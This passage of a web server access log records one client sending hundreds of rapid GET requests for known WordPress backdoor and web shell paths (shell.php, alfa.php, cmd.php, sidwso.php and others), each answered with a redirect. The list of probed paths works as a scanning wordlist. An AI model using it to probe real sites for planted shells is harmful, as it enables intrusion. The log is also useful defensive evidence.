/wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:21 -0400] "GET /upload/files/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:21 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:21 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:22 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:22 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:23 -0400] "GET /wp-content/themes/init HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:23 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:23 -0400] "GET /.well-known/pki-validation/ckyocyyp.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:24 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:24 -0400] "GET /wp-includes/js/tinymce/langs/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:24 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:25 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:25 -0400] "GET /estudiante16/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:25 -0400] "GET /home/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:26 -0400] "GET /home/newsr.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:26 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:27 -0400] "GET /endpoint.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:27 -0400] "GET /acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:27 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:27 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:28 -0400] "GET /wp-includes/class-wp-cache.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:28 -0400] "GET /wp-content/plugins/upme/ajax/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:28 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:28 -0400] "GET /wp-content/plugins/TOPXOH/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:29 -0400] "GET /assets/x.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:29 -0400] "GET /.well-known/.well-known/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:29 -0400] "GET /wp-content/plugins/yozaepx/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:30 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:30 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:30 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:31 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:31 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:31 -0400] "GET /504.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:32 -0400] "GET /articles.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:32 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:33 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:33 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:33 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:34 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:34 -0400] "GET /wp-includes/certificates/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:35 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:35 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:35 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:35 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:36 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:36 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:36 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:37 -0400] "GET /wordpress/wp-content/themes/as/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:37 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:38 -0400] "GET /wp-admin/css/colors/sunrise/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:38 -0400] "GET /audit.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:39 -0400] "GET /forgot_password.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:39 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:40 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:40 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:41 -0400] "GET /gawean.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:41 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:42 -0400] "GET /wp-admin/plugins/index HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:42 -0400] "GET /wp-content/uploads/js_composer/luuf.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:42 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:43 -0400] "GET /plugins/three-column-screen-layout/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:44 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:44 -0400] "GET /.well-known/setup HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:45 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:45 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:46 -0400] "GET /audio.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:46 -0400] "GET /wp-content/plugins/dapeasyinstaller/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:47 -0400] "GET /wp-includes/rest-api/ZVQCc/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:48 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:48 -0400] "GET /wp-includes/widgets/class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:49 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:50 -0400] "GET /wp-content/plugins/efhkgws/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:50 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:51 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:51 -0400] "GET /.well-known/upfile.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:52 -0400] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:52 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:53 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:53 -0400] "GET /cache/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:54 -0400] "GET /predeploy.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:55 -0400] "GET /wp-content/plugins/qdcitph/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:56 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:56 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:57 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:58 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:11:59 -0400] "GET /php_editor.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:00 -0400] "GET /wp-content/themes/gaukingo/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:00 -0400] "GET /wp-content/plugins/contact-form-7-to-database-extension/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:00 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:01 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:02 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:02 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:03 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:03 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:03 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:04 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:04 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:05 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:05 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:05 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:05 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:06 -0400] "GET /security.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:06 -0400] "GET /wp-content/x/eew.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:07 -0400] "GET /wp-content/uploads/js_composer/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:07 -0400] "GET /wp-content/plugins/wpforms-lite/src/Migrations/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:08 -0400] "GET /wp-content/plugins/ddasyoc/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:08 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:09 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:10 -0400] "GET /upload2/10-27-24_8:26_1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:10 -0400] "GET /alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:11 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:11 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:13 -0400] "GET /500.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:13 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:14 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:15 -0400] "GET /session.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:15 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:15 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:16 -0400] "GET /user.php3 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:16 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:16 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:17 -0400] "GET /img/dot.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:17 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:18 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:18 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:19 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:19 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:20 -0400] "GET /wp-content/uploads/gfwisone.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:20 -0400] "GET /sad/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:21 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:21 -0400] "GET /wp-admin/themes/index HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:22 -0400] "GET /libraries/legacy/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:22 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:23 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:23 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:24 -0400] "GET /de/internet.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:24 -0400] "GET /wp-content/plugins/insert-headers-and-footers/languages/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:24 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:25 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:26 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:26 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:26 -0400] "GET /wp-content/themes/astra/inc/metabox/extend-metabox/css/minified/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:27 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:28 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:29 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:31 -0400] "GET /wp-admin/uploads/about HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:32 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:34 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:35 -0400] "GET /wp-admin/home.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:36 -0400] "GET /wp-includes/css/loco.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:36 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:37 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:38 -0400] "GET /wp-admin/network/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:39 -0400] "GET /.well-known/pki-validation/101d2ae2-f2f3-4977-b35d-b3a0ad74a469.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:39 -0400] "GET /wp-content/uploads/wp-booter.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:40 -0400] "GET /wp-content/plugins/background-image-cropper/tmpls.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:42 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:43 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:44 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:46 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:47 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:48 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:49 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:50 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:50 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:51 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:51 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:51 -0400] "GET /js/tinymce/plugins/compat3x/css/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:52 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:52 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:53 -0400] "GET /error_exception.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:53 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:53 -0400] "GET /wp-includes/language/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:54 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:54 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:55 -0400] "GET /wp-content/plugins/pahidtd/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:55 -0400] "GET /alfa-rex.PhP7 HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:56 -0400] "GET /.well-known/pki-validation/a.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:56 -0400] "GET /wp-admin/css/colors/light/Admin-Author.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:56 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:57 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:57 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:58 -0400] "GET /test/maxitest_v3/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:12:59 -0400] "GET /wp-content/plugins/Core-Econ/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:00 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:00 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:01 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:01 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:01 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:01 -0400] "GET /team.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:02 -0400] "GET /reset_password.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:03 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:04 -0400] "GET /assets/images/cmd.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:04 -0400] "GET /resize.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:05 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:06 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:06 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:07 -0400] "GET /wp-includes/rest-api/network.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:07 -0400] "GET /firewall.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:08 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:08 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:09 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:09 -0400] "GET /wp-content/themes HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:10 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:11 -0400] "GET /wp-content/upgrade/upfile.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:11 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:11 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:12 -0400] "GET /.well-known/pki-validation/content.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:12 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:13 -0400] "GET /wp-content/uploads/BbUMY/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:13 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:13 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:14 -0400] "GET /new/transjule.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:14 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:14 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:15 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:16 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:16 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:17 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:17 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:18 -0400] "GET /wp-admin/maint/edit.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:18 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:19 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:19 -0400] "GET /wp-includes/pomo/user-new.php HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - [06/Apr/2025:07:13:20 -0400] "GET /pomo/ HTTP/1.1" 301 795 "-" "-" 13.90.159.17 - - 